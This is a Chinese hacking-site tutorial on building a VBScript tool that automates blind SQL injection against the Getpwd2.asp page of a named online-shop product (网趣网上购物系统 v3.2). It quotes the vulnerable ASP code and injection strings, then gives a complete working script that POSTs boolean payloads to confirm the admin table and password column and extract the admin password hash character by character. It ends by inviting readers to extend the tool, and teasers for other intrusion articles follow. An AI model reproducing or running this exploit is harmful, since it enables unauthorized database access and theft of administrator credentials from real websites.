谈VBS在Hacking中的作用———SQL Inject中的应用

所属分类: 网络安全 / 黑客入侵 阅读数: 1437
收藏 0 赞 0 分享
平常我们遇到有注入漏洞一类的网站大部分人都是用NBSI Or 阿D一类的注射工具。但有的站点的注射点很难构造,或者说注射语句比较特殊。如果用手工去注射的话,费时又费力!但自己写针对性的工具的话,对一些刚入门不久或不会编程的朋友来说,实在是一件很痛苦的事情。因此今天NP给大家带来的文章就是讲如何用简单的VBS脚本来打造我们所要的注射工具。
在您继续看这篇文章之前,我先大胆的假设此时的您已经学会了VBS脚本的基础知识以及基本的SQL Inject知识。
首先,我们先来看一段有漏洞的代码。(此代码摘自“网趣网上购物系统时尚版 v3.2”的Getpwd2.asp的片段)

<!--#include file="conn.asp" -->
<!--#include file="config.asp" -->
<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>

已知管理员表为admin 密码字段为password
有经验的朋友可以很清楚的看到第6句的SQL语句把没有经过任何过滤的Username变量,直接提交执行了。这是一个很经典的SQL Inject漏洞。那么我们如何去利用这个漏洞呢?
由于username变量是用request.form获取的,而我们知道request.form只接受POST提交上来的数据,因此我们不能像往常一样构造如下语句进行注射了。
http://127.0.0.1/getpwd2.asp?username=' or 0<>(select count(*) from admin) and ''='
//直接在URL地址栏输入的话,由于是GET提交数据,Getpwd2.asp是不会接收数据的。
看到这,您或许会说,那用NBSI中的POST提交功能呢?
经过测试把http://127.0.0.1/getpwd2.asp?username= 填入NBSI地址栏,使用POST提交,NBSI会说“注入破解失败”

由于语句的关系,NBSI无法帮我们跑出相关密码。阿D就不用说了,全用GET…也无法帮我们完成任务.
现在我们再测试下手工注射!
我们将如下语句填入getpwd.asp的表单中:
' or 0<>(select count(*) from admin) and ''='

返回正确提示,说明我们注射成功!

OK,架设的环境已经大体分析清楚了….我们开始进入主题.
VBS 的注射脚本需要用到XmlHttp组件和ADODB.Stream组件,请确保您机器上存在这两个组件!(默认系统自带,但由于去年ADODB.Stream网页木马的事件,很多机器的 ADODB.Stream组件被删除了,所以写此注射脚本时,请保证该组件可以使用)
On error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then

wscript.echo "Execute it under the cmd.exe Plz! Thx."

wscript.quit
end if
‘//上面的IF语句是判断脚本执行程序是否为wscript.exe,如果是则提示对方到CMD下执行
URL=lcase(trim(Wscript.Arguments(0)))
‘//简单过滤提交参数的两边空格以及转换成全小写.
RightW = "这个用户没有注册"
‘//这个是定义判断猜对与否的关键字
if url <> "" then

'猜解管理员表

data = "' or 0<>(select count(*) from admin) and ''='"

GetHTTPPage(url)

If len(GetHTTPPage(url)) <5 then

wscript.echo "Error...Please checking the url!"

wscript.quit

end if

‘//上面这个IF语句,主要是判断反馈信息,如果反馈信息的长度少于5,那说明提交的URL有问题,需要退出重新检查后再注射.

If Instr(GetHTTPPage(url), RightW) = 0 then

Wscript.echo "Table name ""admin"" find"

else

wscript.echo "Not found table name ...exit..."

wscript.quit

end If
‘//如果发现关键字,则报告表名猜解正确,否则退出!

'猜解密码字段

data ="' or 0<>(select count(password) from admin) and ''='"

GetHTTPPage(url)

If Instr(GetHTTPPage(url), RightW) = 0 then

WScript.Echo ""

Wscript.echo "The Column name ""password"" find"

else

wscript.echo "Not found Column name ...exit..."

wscript.quit

End If
‘//猜解密码字段亦同!

'猜解密码

WScript.Echo ""

WScript.Echo "Start guessing,Waiting... ..."

WScript.Echo ""

pwd=""

strings="0123456789abcdef" '定义密码范围(构成md5值的主要字符)

For i=1 To 16 Step 1

wscript.echo "Guessing
No. "&i&"... ..."

For k=1 To Len(strings) Step 1

data ="' or (select asc(mid(password,"&i&",1)) from admin where adminid=4)=asc("""&mid(strings,k,1)&""") and ''='"

GetHTTPPage(url)

If Instr(GetHTTPPage(url), RightW) = 0 then

pwd = pwd&Mid(strings,k,1)

Exit For

End If

Next

Next
‘//此脚本之精华之处,嵌套循环猜解密码!
‘//依次取密码与构成MD5的主要16个字符的ASC值进行对比
‘//正确则给PWD附值并跳出单循环,继续下一个猜解

wscript.echo "--------------------------------------------------------------------------------"

wscript.echo "Guessing over!!!"

If error Then

Wscript.echo "error:" & Error.Description

Error.Clear

Else

Wscript.echo "Password is:" & pwd

End if
‘//输出已经猜解成功的密码

else

wscript.echo "--------------------------------------------------------------------------------"

wscript.echo "e.g
cscript getpass.vbs http://127.0.0.1/getpwd2.asp"

wscript.echo "--------------------------------------------------------------------------------"

End if
‘//以下是注射的POST提交函数
‘//用ADODB.Stream转换编码,速度比较快,对于反馈数据多的站点比较有优势!
Function GetHTTPPage(url)

dim XmlHttp

set XmlHttp=createobject("Msxml2.XMLHTTP")

XmlHttp.open "POST",url,false

xmlHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"

XmlHttp.send("username="&data)

if XmlHttp.readystate<>4 then exit function

GetHTTPPage=Bytes2bStr(xmlHttp.responsebody)

set XmlHttp=nothing

if err.number<>0 then err.Clear
End Function

Function Bytes2bStr(vin)

Dim BytesStream,StringReturn

Set BytesStream = CreateObject("ADODB.Stream")

BytesStream.Type = 2

BytesStream.Open

BytesStream.WriteText vin

BytesStream.Position = 0

BytesStream.Charset = "GB2312"

BytesStream.Position = 2

StringReturn =BytesStream.ReadText

BytesStream.close

Set BytesStream = Nothing

Bytes2bStr = StringReturn
End Function

注意事项:要提交的SQL语句,空格需要用加号替换,否则在有的机器上无法猜解!
以上就是我们自己针对性打造的注射工具了.
使用方法也很简单,在CMD下执行
Cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可!
怎么样?是不是很简单呢?
您或许还会说,为什么没猜管理员的用户名字段和相关ID呢?呵呵,这就留个大家当作业吧.
您可以添加如下功能:
自动判断管理员的用户名字段
自动判断管理员的用户名所在的有效ID值
可猜解指定的ID.
更深入的过滤及检测URL是否有效.
多说无意…行动最实际! Go Go Go…开始打造你自己的注射程序
更多精彩内容其他人还在看

XSS Phishing - 新式跨站脚本攻击方式(图)

最近跨站脚本漏洞好像比较火,国内的一些比较出名的WEB程序都陆续暴出了跨站脚本漏洞,但是一提到跨站脚本漏洞的攻击方式大家都哑火了,因为在常规的概念中这种漏洞最多是挂网页木马,获取COOKIE之类,属于典型的鸡肋漏洞! 跨站脚本攻击最大的魅力是通过HTML注
收藏 0 赞 0 分享

PHP数据库安全之SQL注入

$offset = $argv[0]; // 注意,没有输入验证!   $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";   $resu
收藏 0 赞 0 分享

传世木马盗号过程分析

玩传世已经有一段时间了,以前对木马盗号之类的事情总是听的很多,但是从来没有碰到过,自从玩了传世开始,让小弟我着实领教了一次什么叫木马盗号,那个厉害阿。以至于现在上网都怕怕,怕中招。好废话不说,来分析一下木马盗号的原理(如果有那位大侠认为不够准确或是原理有所出入
收藏 0 赞 0 分享

浅析*NIX机器的入侵

目前来说*NIX机器早已经成为INTERNRT的主流服务器操作系统了,UNIX系列系统的优势相WINDOWS比较而言优势也是显而易见的。 而与之接口的脚本目前来说是以PHP MYSQL为主。当然也不乏大公司用JSP和CGI和PL,不过CGI和PL的处理相对比较困难一点,容易造
收藏 0 赞 0 分享

一次透过SNIFF有目的性的入侵

一次透过SNIFF有目的性的入侵 所用武器:流光,SUPERSCAN3,HDOOR,NETCAT,3389客户端,X-SNIFF 宿舍装了ADSL,我疯狂地在网上看电影和在QQ里泡MM(也可能是恐龙吧 :( )。网络入侵和安全方面的学习已经荒废了好一段时间
收藏 0 赞 0 分享

渗透日本服务器群

因为这一局,渗透获取整个服务器群的权限,N台服务器。所以写篇文章小小虚荣下。^0^ 开局: 入手点是一个注射点:sa,内网, 轻车熟路写个vbs脚本,下好lcx,转发端口。 以下是引用片段: down.vbs iLocal = LCase(WScript.Ar
收藏 0 赞 0 分享

黑客入侵“在线影院”全过程2

遇阻:寻找VOD电影   首先运行Windows XP自带远程登录器mstsc.exe,填入对方的IP地址218.147.*.*,确定后在登录界面填上我刚创建的用户名hacker和密码12345,顺利地进入了对方的Windows 2000桌面。   可随后
收藏 0 赞 0 分享

黑客入侵“在线影院”全过程1

最近对网上看电影比较感兴趣,于是登录至某“在线影院”。本以为是免费,谁知问我要账号和密码,我可不想为这个掏钱。怎么办?先探探路
收藏 0 赞 0 分享

入侵藏在防火墙后面的机子

事情是这样的: 遭遇一台湾的dns服务器,win2003 server 扫描器报告的开放端口:21,53,80 ok,弄到一个sa权限的注射点,很爽得拿到一个webshell,透过sqlrootkit,俺就是system权限了.本以为对方菜到家了.谁知故事才刚刚开始.
收藏 0 赞 0 分享

看清黑客穿透ADSL路由入侵内网

也许看烂了网上已有的常规黑客攻击手段,对一些陈旧的入侵手法早已厌烦,近来我对ADSL MODEM的路由功能产生了浓厚的兴趣,经过一番努力,我终于找到了穿透ADSL路由入侵内网的方法,在这里和各位一起分享我的心得。 一.扫描 现在很多ADSL MODEM都是通过80、2
收藏 0 赞 0 分享
查看更多